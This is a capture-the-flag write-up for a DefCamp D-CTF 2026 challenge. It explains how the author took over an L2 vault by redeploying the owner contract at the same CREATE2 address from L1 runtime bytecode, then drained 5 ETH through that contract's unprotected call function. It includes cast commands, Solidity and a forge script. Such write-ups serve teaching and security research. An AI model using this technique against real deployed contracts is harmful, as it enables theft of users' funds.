RESEARCHNODE / WRITEUP
arbitrary funds sweep dctf 2026 writeup
DefCamp D-CTF Arbitrary Funds Sweep writeup covering CREATE2 address reuse across L1 and L2, reproducing the owner contract at the expected address, and draining the vault through the deployed Saylor contract.
reconnaissance i started by checking all contracts and deployed addresses. the goal was to drain 5 eth from the vault on l2. the vault owner was set to saylor address, but when i checked same address on l2 there was no code there. at first i tried to use the bridge because saylor could send messages through inbox, but this didnt work because contracts get address aliased by relayer. so message from saylor would arrive as alias(saylor), and vault wouldnt accept it. then i noticed that saylor was deployed with create2 using factory and fixed salt. the same factory was also deployed on l2. since create2 address depends on factory, salt and init code, and saylor address on l2 was still empty, i could deploy same contract there at exact owner address. initial access and getting the flag first i checked everything: cast call $VAULT “owner()(address)” --rpc-url $L2 cast balance $VAULT --rpc-url $L2 cast code $SAYLOR --rpc-url $L2 cast code $FACTORY --rpc-url $L2 cast call $SETUP “salt()(bytes32)” --rpc-url $L1 owner was saylor, vault had 5 eth and saylor on l2 was empty. the annoying part was getting exact init code. recompiling same source didnt work because compiler metadata was different, so create2 address was also different. instead i just reused runtime code from saylor on l1 and added constructor prefix: RUNTIME=$(cast code 0x8054…ff9f --rpc-url $L1 | cut -c3-) INIT=“6080604052348015600e575f80fd5b506106c48061001c5f395ff3fe$RUNTIME” then i deployed saylor on l2 using same salt and factory: bytes memory code = hex"<INIT>"; require(factory.predictAddress(salt, code) == saylorA, “mismatch”); factory.deploy(code, salt); after that saylor existed on l2 at same address as vault owner. since its call function had no protection, i just used it to call vault.execute and send all balance to player: Saylor(saylorA).call( vault, abi.encodeWithSelector( Vault.execute.selector, player, vault.balance, “” ) ); then ran the script: forge script script/Sweep.s.sol:Sweep --rpc-url $L2 --broadcast --legacy cast balance $VAULT --rpc-url $L2 vault balance became 0 and i got the flag